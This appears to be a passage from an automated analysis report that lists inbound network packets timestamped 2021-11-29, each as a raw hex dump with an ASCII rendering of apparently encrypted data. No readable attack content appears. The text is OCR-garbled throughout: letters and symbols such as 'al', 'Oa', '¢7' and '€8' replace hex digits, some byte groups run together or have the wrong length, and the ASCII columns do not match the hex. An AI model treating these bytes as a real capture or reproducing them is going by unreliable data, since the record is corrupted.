2021-11-29 13:25:46 UTC 83 IN Data Raw: a8 6f 1a 51 57 2d db 65 4a 3d cc 7f 86 fc 8f af f4 84 67 05 bf 70 25 03 al cc 2e ae 27 d8 d1 ce 23 a9 c8 34 fb
d6 c2 a9 71 el e6 67 6d 1f fO b5 dd 50 c4 58 1d 17 06 c6 3a 8b d8 28 db 2e a8 Oa 4f 8d 91 73 60 93 91 f5 21 89 ec 99 f7
19 31 44 8e cb 59 89 26 b0 49 26 97 de 91 85 46 4d 0d 7c 97 8a 39 32 78 de 54 a0 Oc 66 92 ec al 94 52 2e fe 6a 46 4c a4
4c fe 40 7d ca 91 cf f4 el cd 1f d1 3d ae 30 98 66 c2 ea d6 bb f9 12 7b 21 51 57 82 03 7d 8b c¢7 c3 d1 f1 24 fb 52 1a 2f 49
04 9a b3 1e 86 d8 da 1f 0a 2f 7b 18 c0 a5 00 17 4f b7 66 5a 01 Oa e6 fO 10 cd 5¢ 06 da 04 61 17 f5 84 58 d2 a9 49 91 da
79 a3 87 d4 c2 d7 cd 8c 05 66 9c fc 5e cd 2e 7e 4c b4 55 ee 9e 2c 4a 8e b0 Oe 52 de 07 4d 8f 97 29 90 8¢ 6f 93 b8 a6 99
cd 4e ea 7c b0 7c ee c4 44 cb fe 77 77 a6 37 d5 b4
Data Ascii: 0QW-eJ=gp%.#4qgmPX:(.0s 11DY&I&FM|92x TR jFLL@}=0f{!QW}$R/I/{OfZ\aXlyf*.~LU,JRM)oN|| Dww7

2021-11-29 13:25:46 UTC 84 IN Data Raw: b6 79 21 32 5b 18 3a 4a 95 60 62 3c c8 al 83 a7 al b3 00 b5 b0 88 50 90 2b 59 5d ¢7 35 07 f0 7e 7d 51 36 74
ce 25 0d 4d dc 3d 7e Oc 2 e8 73 61 26 bc f7 51 47 d8 dc f8 09 32 d5 59 3f 6a dc 16 46 20 ab 54 02 28 e7 f5 16 b7 87 28
ec f1 45 5a 62 67 eb fe 6d 9a 1c ca 1d 5b 66 39 9b f2 4b 6d 82 1e d5 b0 37 88 5b 41 f1 7f be 97 38 f6 6f a6 d6 5b 3 35 b9
16 48 d5 ¢5 87 1c ef ac b2 b5 66 9a cb 45 cd d7 b9 04 fd c6 b0 ae ae f8 5a c8 6¢ 9e cd 3c 82 b3 4d 03 95 3a b0 e2 1d f1
b5 87 14 al 59 2f ce 32 cf 59 e5 ed bb b8 15 80 05 21 b5 31 03 6¢ d1 b5 53 6a 40 a4 d9 97 35 86 64 6a 58 53 92 5d 32 17
86 52 66 6¢ 2a 41 ed bb fe 86 31 9f 89 db 07 3e 79 85 ca 24 ae 1d ae 2c 79 e6 ba 0d 2d be b0 65 89 ef ba 7f b4 b3 ed c3
12 al ca 96 6f 30 1d 54 Of 6b 98 95 d1 66 ed 01 2a 69
Data Ascii: y12[:J b<P+Y]5~}Q6t%M=~sa8&QG2Y?jF T((EZbgm[fOKm7[A80[SHfEZI<M:Y/2Y!1ISj@5djXS]2RI*A1>y$,y-
e00Tkf*i

2021-11-29 13:25:46 UTC 86 IN Data Raw: df ¢5 33 5e d5 55 3b bb 00 9a 13 a0 b2 2d d7 fc 41 c6 54 9e 89 fa 47 64 f4 21 32 eb 1b e2 09 ce 16 bb 3f 2b 76
cd 5 52 45 8 2f 1a 30 23 a6 67 03 79 83 d6 d6 Oe 64 f1 fa 7e 15 03 0d df 16 86 1c fd 1f c9 1b 15 3a 01 26 d3 ac 14 8 4b
€8 69 49 05 17 42 8d 12 cd 57 19 e4 63 13 28 fd bd e8 fa eb 4b 80 d5 66 b6 6a 61 fd d5 c9 85 bc 3b el a3 €0 58 27 ed 29
a3 6¢ ef 94 Oe 22 93 b9 17 52 ¢7 80 37 a9 6b 28 b6 af 33 1c 93 ac bl 8f 5f ef 6¢ aa 6f 78 62 22 ¢2 01 76 51 dd f7 bf 9e 2e
30 97 86 28 52 a7 76 f9 a9 32 7a c9 2 02 d7 4b cc 84 04 4d f1 Of 3b e4 {6 36 4f 49 ad 6¢ ee cd 60 b4 20 bb d2 d0 41 bd
be 11 71 1d eb 5¢ a4 1c dd f4 45 c0 13 7d 02 6b be 54 48 99 07 31 2d 08 7a 4b cd 72 a8 26 73 8f 83 66 {7 Oc ¢5 7 bl ae
1f38 d9 17 8d ae 65 0d Oc 36 63 47 b5 €0 14 ac
Data Ascii: 3°U;-ATGdI2?2+VRE/O#gyd~:&KilBWc(Kfia;X)I"R7k(3_loxb"vQ.0(Rv2zKM;BOII" AQ\E}KTH1-zKr&sf8e6cG

2021-11-29 13:25:46 UTC 87 IN Data Raw: 7f c4 bf 3d f6 d1 5f el 87 a0 f1 3e fb 69 33 c8 45 25 6e 95 15 55 a9 48 86 0d e6 a0 f8 54 76 a5 c6 6e d9 e0 3e
d1 fc 38 b6 ed ac 83 88 f8 6b 9a b4 2a 86 65 74 28 95 2b b0 bl 9c fO b5 89 15 5e Oe 30 c¢3 76 8d 2c db ef b9 bl 77 bb 74
le bd 28 63 37 ac b5 53 6a 40 a5 d9 97 35 a7 31 fe ef 36 9e 33 b6 1c fb 86 15 52 2¢ 5e cO d6 b5 84 20 9a be de fb 3f 5f 1¢
3c 35a5 34 el 38 74 ee d2 c8 3e b2 ab 0d df e2 c1 a5 bb ac f3 b3 a4 80 d0 96 05 3 35 Oe Ob 1f 13 fa 50 66 ef 7c 6d 56 af
56 23 f7 62 6¢ 20 63 7a 98 cf €9 4d 68 42 ff 81 e7 b5 4c 35 78 55 75 bb c8 fa 7a f8 3e 32 7f 01 03 f7 a2 ab 2d bb d9 ef 12
6 55 bc 61 35 59 0b f0 83 11 91 ce bd bf 16 16 fO 6f 46 dc 89 ca d3 16 e9 28 3c 25 51 42 cc 96 7c¢ d2 96 bd 9a bb 58 6a
d2 d6 1a 19 0d 77 4e 94 a9 Oc 8a ed 37 ea cf
Data Ascii: =_>i3E%nUHTvn>8k*et(+"0v,wt(c7Sj@5163R," ?_<548t>5PflmVV#bl czMhBL5xUuz>2-Ua5Y oF(<%QB|XjwN7

2021-11-29 13:25:46 UTC 88 IN Data Raw: ab 32 4d df 6f a5 4b 7d d6 d6 c9 85 36 41 c9 a2 ea 51 3d 00 92 9c 6e eb ed 18 62 91 b3 04 31 ad 29 46 96 63
00 fc 85 71 14 85 e6 94 cd 5d ef 64 d8 be ee d5 49 df 11 70 8d 2f Ob bf 9e 28 54 7f 95 27 56 a7 74 ce cd ce 7b ef ef 7b 6a
83 cc 80 07 4d f1 Of 3b e4 99 7a 3e 76 a5 44 a4 e7 22 bc 36 f1 d7 2a cd 07 a3 37 68 3a a9 4f ab 09 b3 49 46 ec 04 6f 74
44 b1 db 6b 86 63 59 25 fa 78 4b c3 ed 87 30 72 85 9f 84 32 a0 c5 7 ae eb 77 fc d9 06 86 b8 69 5 db 95 5a 45 bc 3 66 ea
4c 21 ed e8 ad c0 6f 27 b6 13 51 d1 cf 75 c6 c9 3a e6 b7 5f f8 fa 1e 27 ca f9 36 76 09 d3 af 14 b5 ba 7b 68 d9 7d 06 7e dd
87 3f b7 a6 3f c4 af eb 3f 09 9e 29 62 d0 24 28 4d 60 f2 b4 35 8d eb f0 01 6¢ fd 2¢ 8d b1l c4 09 be f9 1d 0f 40 88 ac 1d 72
61 fe a4 c5 f6 59 23 89 05 97 2b 3e 54 30 ec
Data Ascii: 2MoK}6AQ=nb1)Fcq]dIp/(T'Vt{{jM;z>vD"6*7h:OlFotDkcY%xKO0r2wiZEfL!0'Qu:_'6v{h}~???)b$(M 5|, @raY#+>TO
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 90 IN Data Raw: 4a ae Oc 0 97 71 f0 3f 55 e2 Ob 1 86 2a 81 9d 8f 69 13 5e 84 d5 22 3f 1d fc 2e 79 e6 ba 06 16 a3 af 21 90 42
b 7f bf 36 €3 15 de 89 d2 92 69 b5 32 Oe Of 6a 81 f0 41 6d fb 2f 68 52 af 54 0f 51 e4 47 34 77 53 33 €7 da 46 7e c4 e8 db
7 b4 50 0a 5f d9 5f b1 e4 fa 79 f6 3e 30 Oe b9 20 7 a6 c4 d1 70 d9 ee 07 d9 51 68 e4 08 03 b f1 al 4d 45 43 9d cb 37
14 8d bf 3b 10 8d dc df 3¢ c8 e4 3c 2f 46 42 db 96 55 47 09 95 06 b9 5b 13 4e ¢5 1e 04 c5 Oe 39 ba af 1d 88 fb 38 16 30
13 d3 df d6 88 fe fe 9d aa 90 7e 95 63 57 28 c8 36 a8 b6 75 70 82 4d a8 1d 49 47 3a a0 dc fa 93 09 aa 7a 35 7c Oc b5 4d
27 0a 91 32 2f 82 38 db d2 c1 e3 ae e8 04 a9 d6 d7 2c b6 cd e4 7b e8 a8 e0 79 12 5a fe 70 11 11 06 c8 39 8b d8 28 c0 07
d1 e7 ac 8f ee bf f1 b3 15 7b 96 a3 b3 b9 64 29 32
Data Ascii: Jq?U*""2.y!B6i2JAM/hRTQGAWS3F~P__y>0 pQhMECT7;<</FBUG[N980~cW(6upMIG:z5|M'2/8,{yZp9({d)2

2021-11-29 13:25:46 UTC 91 IN Data Raw: 94 76 2f be 48 b2 3d 76 01 e0 4a a3 12 97 22 60 ec Oe 74 67 75 a5 54 40 86 71 50 76 a3 79 4b c1 49 el 04 72
84 95 26 87 24 c5 f7 af fa 01 17 d8 07 82 b1 f5 d8 0d 1a 71 56 bb e0 16 12 {3 23 e9 ff b6 fe 3b 35 a4 0a 42 a7 29 75 c7 cd
3d 86 9d 4f ec d8 99 2e b9 c0 27 7f 12 fO ¢5 ¢7 b1 b0 6¢ 7a bc 2b 10 6¢ c3 be 7a 95 a6 34 ec ec fa 2¢c 11 9¢c 04 e5 dc ab
07 5e 69 83 ed fa 8d ed e7 be 12 el 3c 81 d4 4e 20 ea fd 70 d7 45 9e b9 19 ed d0 3f f1 fc e3 4a 2f d9 c1 86 26 2b 4b ac 8
f2 71 3a 77 47 7f 2c c1 59 40 e7 0d c4 30 46 Oa 3 63 f4 al 32 3f 25 88 3f 39 ab 73 67 21 3a f4 57 2a 80 9b 43 b6 98 c9 5b
86 b7 9a 20 d3 34 1c €9 Oe be 59 1e 37 d0 Of 14 53 d1 43 67 12 c1 1c 1d 69 05 be 8a 8f 54 dd cc 98 31 26 c4 54 a8 b7 b8
357 36 b2 73 69 03 f6 f8 11 f8 99 3c c2 d6 4b
Data Ascii: v/H=vJ"tguT@qPvyKIr&$qV#;5B)u=0.'lz+z4,"i<N pE?J/&+Kq:wG,Y @0Fc2?%?9sg!:W*C[ 4Y7SCgiT1&
TWesi<K

2021-11-29 13:25:46 UTC 92 IN Data Raw: b0 56 63 dd fe 12 cb b8 bd 63 1b 2f 1c d8 5a 02 47 45 86 bb 9a 6f 8d a4 47 f4 96 dd db 34 c0 7e 3e 2f 48 29 d6
87 9e 54 45 30 b1 b9 5b 18 ff d1 19 17 02 18 2c ae 25 bb 92 c6 63 c0 a6 ec d1 db be 45 ef fa 8f 53 1c 5e 92 4f 42 7b ce 32
a8 b4 73 1e d4 34 d3 da 48 6f 25 cf 04 4a 8f d9 a9 7a 39 2c 1d a3 57 25 Oa bb 21 1f 87 3e 1f d3 d0 5 65 ¢3 1f b8 c7 d3 d8
8f54 e7 63 e3 a8 6 65 f3 4c 2c 73 2a 15 17 ¢7 30 7c 57 b3 fd €8 d3 cc 4f 92 8d 67 fb b3 00 ff 3e 84 4d b8 5b 1f 27 48 bf
e4 4d a9 3a ac 43 30 8a de 91 85 4e 44 06 6b 48 8f c1 2¢ 5f cf 49 ad 1d 65 93 ec al 94 5a 14 f8 7b 09 4b b3 9a eb 54 7f fb
2ac6f522 19 le ee 06 a0 21 2e €9 75 3c 69 a4 ef 10 67 32 49 65 78 17 83 8a eb c0 c9 ee cc f3 76 06 2e c4 69 3e b9 1f
86 d3 d6 Oe 02 36 72 09 db b3 11 17 4f b7
Data Ascii: Vcc/ZGE0G4~>/H)TEO[,%cES"OB{2s4H0%Jz9,W%!>eTceL,s*0|WOg>M['HM:CONDKH, _leZ{KT*"l.u<ig2lex
V.i>6r0

2021-11-29 13:25:46 UTC 93 IN Data Raw: bc 2b 00 6a db b9 77 al b5 30 f8 el ea 2d 02 9d 28 61 df b9 01 5f 65 e2 cc d0 21 ea f4 b0 3a ee 2f 8d bb 4e 92
eb fb 60 d7 46 99 ae 16 18 be 28 2b eb f4 22 fd 2 d5 93 3d a0 3e e2 ee dc 67 44 ec 51 a9 39 c6 33 92 f0 db d3 28 cd 7f 02
76 c5 43 4c 5a 53 09 35 e7 e2 47 4a 01 e0 e3 8b b4 a3 98 52 bf 98 ed 59 86 bb c6 e7 d7 34 01 d2 ac ae 51 30 56 c¢7 1c 19
6a e4 2c 71 19 1f 35 57 65 30 be 8¢ 93 54 d1 db ab 36 30 d5 d3 Oe d5 ab 29 42 08 Oe 7d 42 2c c1 e9 13 f0 20 12 ec f1 50
b0 71 79 ec d6 e4 84 3b 34 0a 75 14 dd 82 Oc b0 1c 2a 21 1c a8 ed 8a 5b 4d ea b9 70 bb 2d f4 6b 59 1b 53 db 6b a8 1d
d8 a9 4a 84 67 35 bf b5 ae 66 82 d3 93 46 cb aa 20 78 1a 9c ed a8 af dd d9 6a 8b c9 39 ae b3 c6 28 93 2c 3f cd 5a f0 b4
99 02 ce b7 8c ce 36 c3 02 47 ef bb b8 15 89 62 36 09
Data Ascii: +jw0-(a_e!:/N"F(+"=>gDQ93(vCLZS5GJIRY4Q0Vj,q5We0T60)B}B, Pqy;4u*![Mp-kY SkJg5fF xj9(,?Z6Gb6

2021-11-29 13:25:46 UTC 95 IN Data Raw: 61 Oe a6 77 32 d0 a8 2b 3c 8¢ 06 7a d2 dO f5 a3 d2 11 c6 e5 c2 d2 bd fe dc Oc 08 a9 e7 65 ff 57 c3 7e 13 21 84
cf 21 75 df 15 cc 43 e7 ce 4f 87 83 65 fd dc fe f5 21 83 dc d3 75 19 3b 57 ad fb 53 8b 86 bf 49 29 9b 4f fb ab 44 5f 2¢ 4a 98
8d c9 5¢ 60 de 43 a7 1d 63 99 c4 cf b0 51 05 6 2e a8 49 b3 90 f9 56 7e d3 15 cf ea 31 88 73 c0 0d a2 16 3a 6¢ c4 fb 6b
d4 cd 01 6d 38 37 03 65 03 77 ad ec f4 c9 e6 f2 8b 7e 17 2d 67 c3 07 87 36 a8 da c9 1d 7e 50 70 18 db 8a Of e2 48 8a 58
24 31 1f 6a c5 7f al 5f 10 f8 d3 71 19 e8 6b f1 dc b8 47 91 c6 51 f7 03 ed 3d df e4 bf 85 72 cb 78 ee 51 39 14 36 9e 6e €5
b8 37 6b 80 b3 09 73 62 14 44 90 7f a5 bb 87 71 1f 87 b2 8d e4 fe ef 66 a9 5d ff d5 4d dc 6f 1b 59 a0 2b 99 8f 21 07 8b 96
2754 d9 15 e4 8c c6 5d eb e8 11 a7 ec 1e
Data Ascii: aw2+<zeW~!luCOe!u;WSI)OD_,J\'CcQ.IV~1s:lkm87ew~-g6~PpHX$1j_gkGQ=rxQ96n7ksbDqgf[MoY+!'T]

2021-11-29 13:25:46 UTC 96 IN Data Raw: 43 b7 b4 80 22 5d bd ee 36 bc cf 07 fa 09 85 51 25 40 d3 0f 58 42 dc 2c 71 13 c1 16 70 65 10 be 8c 93 45 ce
a5 6a 37 30 d1 50 Oe 8f ae 29 4e Oc aa 54 6¢ 28 e7 f9 73 d1 Oa 2a e6 8b 5e 78 43 60 ef cf 9d 7a 3b 34 2d 7c 47 2f 80 Oc
b2 el ca 37 c6 b5 4d 9b 57 23 3e 81 bf bf 2f f0 14 c2 c7 53 df 45 b9 16 51 8a 44 86 59 e9 bf b5 aa 77 89 c4 47 df dc 8e 90
02 c7 9ae8 84 0c 92 c8 66 b6 ce 05 a8 67 c2 2e e6 1c b0 ca 50 8a bb 89 3e 55 9e 2f c4 1a c2 02 f5 ed bb b4 77 a3 74 1e
bd 4b 0Ob 53 ee 56 53 60 6¢ e5 de 99 3b a7 Oa fc ef 3a fb be 32 1d ff aa 66 6¢ 2e 4d fa ac f1 4c 20 90 96 98 f9 3f 55 97 f4
22 a5 35 e7 2c 6f 91 45 03 3e b6 ad 37 e7 0d ba 6e bf ae f4 40 f6 8d d2 90 7c 3c 48 e8 0f 6b 96 f8 70 67 ad 06 a6 db 84
52 ad 41 93 b4 20 63 7f 92 94 a9 4e 68 42 aa 38 e7
Data Ascii: C"]6Q%@XB,qpeEj70P)NTI(s*xC z;4-|G/7TMW#>/SEQDYWGfg.P>UMWtKSVSI;:2fl. ML ?U"5,0E>7n@|<Hk
pgRA cNhB8

2021-11-29 13:25:46 UTC 97 IN Data Raw: 4b b5 e9 8e 45 75 f1 48 b0 e8 37 ed 13 df 1e ad 30 3a 62 da 14 64 97 f2 01 6e 41 ec 6e 67 05 77 92 d4 d7 d8
fa df e5 77 e9 2a 66 d4 1f e3 63 84 d9 c3 04 1b 2f 77 18 c0 a9 03 17 4f b7 5f 43 6a 60 68 cf 1a d3 4e 15 f2 e4 65 Oe 01 bc
ce d9 aa 4b f3 6b 6e al fa 19 d8 c4 cc 8f 85 7c fd 5d eb 7d 28 7c 7f 62 69 59 9f 26 66 e2 c2 1f 5b d4 65 38 94 69 22 b1 98
78 0d 96 a6 88 c9 47 11 67 8f 7f e8 d2 30 3d 00 76 5f bb 32 ba 9e 3b 2a b8 6b 26 7e b5 61 5 89 cc 6a €0 fb fe ad af cf 93
13 3b cf 1c 3e f1 82 8¢ 4c 65 a5 6f ab f7 4f 41 ¢9 04 ec 30 bc 59 91 35 62 29 eb 4d ab ce 9b 0a 55 f8 05 6a 7b 56 ba 20 d5
86 63 5a 4d 33 6a 4f ef 17 €9 24 79 94 91 2c 26 08 ¢3 83 39 e9 Oc 36 f3 05 aa cf 7a f3 07 Oc ea 4e 62 ff 38 12 7b 21 €9 f3
ad c0 10 26 b6 13 8d aa Oe 5f c6 cc 2d 95
Data Ascii: KEuH70:bdnAngww*fc/wO_Cj hNeKKkn|]}(|biY &f[e8i"xGg0=v_2;*k&~aj;>LeoOA0Y5b)MU}V cZM3jOs$y,
&96zNb8{!&_-

2021-11-29 13:25:46 UTC 98 IN Data Raw: 5f ab 7a 22 40 00 9e e3 25 0a bb 32 27 95 c0 da fe d2 ed a9 ¢3 17 b5 2f c1 fe be e6 e5 1e ec a9 e7 6b f1 57 d2
7alce4 07 e32c 72 a7 97 c2 2c d9 bl 40 8¢ 95 70 ea bf 11 fd 3c 77 b2 95 7e 1e 33 39 ae eb 5e a7 24 b1 49 27 99 de 91
85 4e 56 28 f3 9f 9c cd 1f 90 c6 4f ad 04 71 70 13 8c b2 57 1d 81 53 c3 4b b7 85 fc 4b 75 f3 20 32 eb 1b €3 34 Oe 11 a4 30
2378 cb 14 64 97 {3 04 69 4f 4b 6e 67 07 62 81 cb d2 d0 3 24 fb 52 1f 58 f1 df 16 8a 15 9f d5 c9 13 07 c2 73 34 d3 bb 12
€9 46 84 5¢ b5 04 31 68 e4 15 5 00 ef 0d 0a 67 3d ec 8d el d2 08 49 80 df be al fc 03 d4 c4 cd b7 06 79 e3 a3 ea 40 3b
61 a4 9d 42 ea b5 71 7b 82 bd 1d 4a da 08 ba 97 45 23 b5 85 Oc 13 92 a6 9d d3 54 fc 62 a3 64 ea cc b3 d7 2c 73 4c aa
3b ac 9a 2a 3e ab 8e d9 53 9a 7c ff 86 d0 68 el ed
Data Ascii: _z"@%2'/kWz,r,@p<w~39"$I'NV(OqpWSKKu 240#xdiOKngh$RXs4F\1hg=ly@;aBq{JE#Thd,sL;*>S|h

2021-11-29 13:25:46 UTC 99 IN Data Raw: 90 a2 b3 65 42 9b bf 80 22 94 bc ee 36 c4 0f a3 fa 03 af 48 25 75 d1 1e 1b 58 22 2d 5d 16 d7 1d 69 5e 02 be
9d 9c 58 cd 26 8a 1b 3f d7 28 28 01 af 2d 2b 8a al 7c 48 35 f1 ec 05 7 19 2f f3 fd a4 6f 5d 60 e3 f8 b4 89 24 39 0f 72 6f 10
87 13 bb 6¢ 9c 1a dc bd 30 9b 2f 4e e0 81 bb 35 9a 4c be 4c 42 55 b5 ea d6 c5 43 ba 41 99 Oc fa ba b5 bb 72 97 3a 44 f0
d1 9e 1e fc 38 63 f2 a5 90 96 ¢8 7d 9f de d3 87 49 cc 2a ee 2a b3 ca 5e c¢9 0d 73 €9 25 83 3c cb 36 d8 2f c2 11 ba 9e 14
87 0d 10 b6 31 0d 2b 15 b5 53 6a d0 ed c1 84 3a 8f 63 f9 f0 2e 78 5d 1e 11 f9 fb 68 6d 2e 5a €6 e3 ee 95 33 95 96 89 fc
20 5b 6b dd 19 aa 37 96 3e 78 ec ad 3a af 4c 50 de 85 ef a9 6b bb bd f2 22 05 73 d3 b8 75 3a 21 73 01 6a 92 fe 4f 70 fe
02 a6 47 aa 44 53 41 ¢2 50 37 70 7e 90 f6 df 53 7f
Data Ascii: eB"6H%uX"-]i*X&?((-+|H5/0] $9rol0/N5SLLBUCAr:D8c}H***s%<6/1+Sj:c.x]hm.Z3 [K7>X:LPk"su:!sjOpGDSAP7p~
S|
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 100 IN Data Raw: 6b 26 4a c5 5d d9 aa 20 43 1a Oc 3b cc e0 34 9c 06 c¢3 0d ac 2e 18 61 cb 85 cf bb f9 09 7a 18 58 74 57 00 7d
a4 c7 d2 d8 30 da fa 6f 64 a7 4a de 1c 80 1c 85 d1 a6 dO 10 3c 74 34 dd a8 16 86 3b 9b 56 41 54 0a 61 11 01 c9 49 41 e4
fe be 1d f7 91 e4 da c6 1e 80 df 65 7d fb 38 c2 d6 d9 8f 94 7b e3 a5 ea 4c 1c 7b 50 9c 6e ef 9e 3d 50 94 b9 1a 5a de 16 98
96 69 39 be d7 0a 10 92 a6 9d b9 61 ef 66 a2 58 e5 fd 63 d4 00 70 28 23 23 bf 94 50 2d ff fa ee 53 b6 7f ec a4 5f 79 e5 e7
0d 84 10 ce 84 0a 32 c6 73 a8 ee 88 78 65 89 a6 44 a8 dc 64 b8 59 6f c4 2e b4 51 a7 1c 5f 00 ed 65 3e 01 9b 00 57 €9 0d
6f 74 3a 2a 56 42 8c 4e 71 5c 67 69 4e cf 35 22 25 73 83 b9 38 1b Ob d4 f2 d5 fO 0d 37 dd Oe 93 b4 03 €9 Oc 1a 74 54 b9
8a 39 3b 4c 25 86 3d al e8 2e 00 a4 1f 7b 3d 0b 75
Data Ascii: k&J] C;4.azXtW}0odJ<t4;VATalAe}8{L{Pn=PZi9afXcp(##P-S_y2sxeDdY0.Q_e>Wot:*VBNq\giN5"%s87t
T9;L%=.{=u

2021-11-29 13:25:46 UTC 102 IN Data Raw: 86 c4 53 db 6f a8 10 5d af b9 87 30 f3 bd ce a4 76 89 c0 4c 52 6f 10 0a 9a c5 9c e7 ba 9b fc 61 6¢ 9a cf 32 90
76 c4 28 84 3c af 34 5b dc a5 85 15 al bb 2e ce 32 a6 b2 db ef b1 b8 1a 96 70 1e a6 37 1e ba 92 9b 50 78 7b el db 86 39
90 62 02 ee 10 a4 5e 49 13 fa 80 62 6e 2d 25 eb a9 f1 82 4f 45 97 98 ff 17 cf 97 dc 3f b3 2f 82 87 79 ec a3 1c 2f al a9 21
8b e6 a5 7a 45 ad db 27 11 f6 dc 95 7e 3¢ 32 80 b8 dd ba 63 52 67 €7 11 be 39 06 52 ad 4a f1 46 33 65 7b 81 el c2 b2 69
64 d9 d8 9c 90 47 22 aa el 9e b9 c8 f8 4b a0 3a 32 64 73 3f 6 5¢c b1 7c 6¢ db 94 18 dc 46 ba 6a 66 23 Oa fO 8d 2e dd 41
97 b5 00 Oe e2 0d 46 dc 87 c3 c9 2d b5 28 2d 29 5d 41 21 91 68 61 91 c6 94 b8 5b 1d ee d7 61 0f 12 1d 39 c4 79 0d 80 c3
5d 72 cd ec db cb b7 2e 57 fe 99 a7 00 46 86 65 55
Data Ascii: SoJOvLRoal2v(<4[.2p7Px{9b"Ibn-%OE?/y/IzE'~<2cRg9IRJIF3ef{idG"K:2ds?\|IFjf#.AF-(-)]Alhaa9y]r. WFeU

2021-11-29 13:25:46 UTC 103 IN Data Raw: ea be ca ae 3f 7b 5a 00 67 f1 be d9 60 91 b9 81 52 c1 1f 64 69 69 28 bc 1b 78 01 99 86 66 cc 5d ef fa aa 6a e5
f5 b2 d6 00 76 c7 a9 37 a0 92 45 86 af 95 2d 4d af 6a e2 8c dd 7f fa e4 fe ad af db 86 7b 30 ce 0d 3f f8 a0 e8 4f 49 ad 52
b4 a0 c9 be 36 f1 d9 24 ad 46 al 26 66 0d ff b3 aa 2f 9d 21 60 f3 1b 6d 75 55 ad 50 5a 78 62 77 51 35 03 45 c6 5a ec 4b
ef 87 95 2c 00 16 d6 f3 ae f8 08 28 cf f8 83 9d 69 fb Of 61 7f 44 bc f5 72 a2 4c 21 e3 f2 bf ff 3b 22 b6 08 57 b6 7 74 ea da
3f ee 87 5¢ 8 f4 10 02 91 5f 36 76 09 ed 5 79 1c b0 6a 66 b7 2b 00 7e c6 ab 62 a5 58 34 c0 fb eb 44 0d 8e 2c 77 db 83
9a 4f 60 fa d9 e6 e2 42 f4 b6 09 6 3c 9e bf 66 33 ee e4 73 3a 41 a4 a2 6a 76 66 28 2f e3 e9 4f 32 f6 d5 86 2f 25 57 c3 ef fO
6f 29 09 5a a8 3f c0 64 ab ef c8 c4 3a
Data Ascii: 2{Zg Rdii(xf]jv7E-Mj{0?0IR6$F&f/!"muUPZxbwQ5EZK,(iaDrL!;"Wt?\_6vyjf+~bX4D,wO B<f3s:Ajvf(/O2/%W0)Z?
d:

2021-11-29 13:25:46 UTC 104 IN Data Raw: 05 95 c8 82 1f 54 95 d8 2b c1 54 90 Oe 78 ec ad 1c 2c al a7 21 8b e8 a5 74 45 ad db 27 10 dd dO ef 70 39 35

0a 60 ed 90 fa 5a 6e 37 bf c8 2b b3 53 ad 44 f1 48 33 6b 7b 81 ef c6 b2 69 64 c7 d8 b7 ce 5f 23 ae dc 49 fb b5 05 ad 4c 21
21 7d 75 31 ff b8 4e 51 5¢ d6 ed 6d d3 47 be 6d 72 85 09 fO 83 Ob 5¢ 50 9f bf 07 1c 92 b6 b8 dd al d6 ca 38 a4 ff 2f 29 5d
40 cc 98 44 52 9b a2 bb 47 5a 35 fc d6 61 1d 12 1d 39 a2 c4 92 82 c5 7f {7 ed ff d9 dd bc 49 el eb 67 ac 33 5f 9d Oc a2 53
1d 3c b7 a4 71 12 58 5e db c4 b7 46 12 c7 3c 5¢ 03 70 54 65 3a 45 04 a6 6¢ 2d 15 b5 cc 2e ae 33 d3 d4 c6 f2 ca 6a 1f a9
db df dd a4 e9 e6 72 eb b7 ¢7 91 ed 77 ¢2 70 7d 14 07 cf 25 7c b6 99 c0 2c d9 d3 6e 9e 9d 74 e0 bb 07 Ob 20 a5 b0 ae 64
11 31 55 a8 f5 7a 5d 3b 91 4b 04 85 18 50 55 bb

Data Ascii: T+Tx,!tE'p95 Zn7+SDH3k{id_#IL!TuINQ\mGmr\P8/)] @DRGZ5a91g3_S<qX"F<\pTe:El-.3jrwp}%],nt d1Uz];KPU

2021-11-29 13:25:46 UTC 106 IN Data Raw: 1e 41 ef 06 61 7d 83 94 6f 43 86 69 26 45 36 78 4f d8 54 fb 2c 73 94 9d 31 4 Oe €9 f4 b6 fa 04 37 c8 Oe 9d a6
86 f2 21 03 75 46 b4 ee 11 ec 64 1a e8 f9 aa c0 80 24 b6 13 2e 8b 08 75 c2 d2 25 86 81 5d e9 f8 10 3b 47 c7 18 66 00 f3
f21c 63 98 el 6e aa 32 17 7b c8 ba 6e bd a6 24 e4 f3 e2 c1 02 a3 20 7a c2 b3 45 23 61 fO cf e7 81 f8 fc b6 12 el 32 95
45 67 Oe 3 fe 65 cc 5f 9c 7e 3¢ 58 66 28 21 c7 5e 5b 21 8 a8 b4 2a 3a 41 22 f7 cf 6b 2b 63 58 b6 31 3a 49 62 el de ac 22
56 04 e6 63 ab 07 ce cc ae f6 20 36 b9 6a 62 27 e8 fc 97 59 aa b7 4e a6 b5 9d 41 c6 b6 ef 32 d3 2b 10 e9 Ob af 40 3e 6f
c4 f1 1f 6e d0 3d 77 04 81 e0 72 4d 07 al 9a 8a 4f d8 c9 83 28 2b 2b 52 0a Oc a7 38 43 1e 12 7c 42 2a f8 e3 13 ff 08 3b
e4 ee 4390 70 44 f2 ea 61 8d 24 28 ca 5f 54 00 82
Data Ascii: Aa}oCi&E6xOT,s17!uFd$.u%];Gfcn2{n$ zE#a2Ege_~<Xf(!"[*:A"k+cX1:Ib"Vc 6jb'YNA2+@>0n=wrMO(
++R8C|B*;CpDa$(_T

2021-11-29 13:25:46 UTC 107 IN Data Raw: 26 04 47 49 84 b7 11 7b 22 a6 46 d6 9e d8 dc 51 1c 2a 3c 25 4f 42 da 81 42 cf 6b bd 9a b8 73 2a ed d4 10 11
68 13 3c ab af 63 1c c7 75 e2 43 7d d1 dd ac 57 d6 62 98 ad 15 79 91 75 5f 8d 6e 34 b9 ba 1f Ob 59 4f d7 d8 58 43 29 a4
de f7 eb 59 26 51 33 56 0d db 6d 24 Oa bf 30 54 8c 3f db d6 d9 e3 ca 53 1d a9 db e6 d0 cc ef e7 63 e7 aa 9c 7f ed 5b d6
6417 1e bl a0 7a 75 d9 Oe e4 2e a8 c2 4e 8d 91 7d e7 dc 81 f7 21 83 95 ae 7d c7 13 46 db e4 5f a3 3e d2 cf 2d 80 2a 86
€379 3d fe 83 61 42 cb 1b 63 dc 43 a7 24 57 8e 12 aa 66 50 13 d6 47 e8 0a af 9a f5 47 75 fb 3b de ea 37 7 a9 c¢3 0d a8
